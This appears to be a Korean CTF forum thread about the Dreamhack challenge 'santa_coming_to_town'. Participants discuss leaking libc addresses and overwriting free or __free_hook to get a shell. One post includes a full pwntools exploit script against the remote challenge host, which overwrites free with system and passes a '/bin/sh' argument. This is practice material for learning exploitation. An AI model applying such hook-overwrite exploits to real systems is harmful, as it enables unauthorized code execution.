1번 메뉴를 통해 printf의 got를 입력한다. 2번 메뉴를 통해 printf의 got를 출력해 leak을 구한다. leak을 이용해서 free hook과 oneshot의 주소를 구한다. 3번 메뉴를 통해서 free hook를 oneshot으로 덮는다. hook을 입력하는 방법까지 생각했습니다. 그래서 위의 순서대로 익스플로잇 코드를 작성했지만 flag를 얻을 수 없었습니다. 순서는 맞다고 생각하는데 flag를 얻을 수 없으니 어디가 문제인지 고민입니다.

from pwn import * p = remote('host3.dreamhack.games', 9633) #p = process('./santa_coming_to_town') libc = ELF("/home/jiho/hack/libc/libc-2.27.so") context.log_level = 'debug' i = p.sendlineafter def make(a, b, c): i('>> ', '1') i('? : ', str(a)) #date i(') : ', str(b)) #line i('~\n', str(c)) def read(a): i('>> ', '2') i('? : ', str(a)) def free(a, b, c): i('>> ', '3') i('? : ', str(a)) #date i('edit : ', str(b)) #line i('to : ', str(c)) #data a = 1 while a < 25: make(a, 1, 0) a += 1 make(25, 0x21000, '/bin/sh\x00') read(25) p.recvuntil('Pages : ') address_25 = int(p.recvline()[:-1], 16) libc_base = address_25 + 0x210ff0 print('libc_base: '+hex(libc_base)) print(hex(libc_base + libc.sym['free'])) print(hex(address_25)) print(int((libc_base + libc.sym['free'] - address_25)/16)) offset = (libc_base + libc.sym['free'] - address_25)/0x10 system = libc_base + libc.sym['system'] print(system) free(25, int(offset + 1), system) p.interactive() free함수를 system으로 덮고 free함수의 인자로 들어가는곳에 /bin/sh\x00을 넣어서 쉘을 실행시키려고 했는데 뭐가 문제인지 안됩니다

혹시 이 문제 로되리안 겪은 분 계신가요? 호스트는 물론이고 문제 도커파일 빌드 후 안에서도 쉘 따이는데 리모트로만 하면 eof나는 이유를 잘 모르겠네요 립씨가 문젠가 해서 립씨도 도커 최초 빌드 후 따로 빼서 진행 하기도 했고 립씨 데이터베이스 뒤적여봐도 free hook주소도 잘 구한 거 같은데 이유를 모르겠습니다. ㅠㅠ

libc base까지 구했는데 어느부분을 덮어야 할지 모르겠습니다. 힌트 좀만 주십쇼 선생님들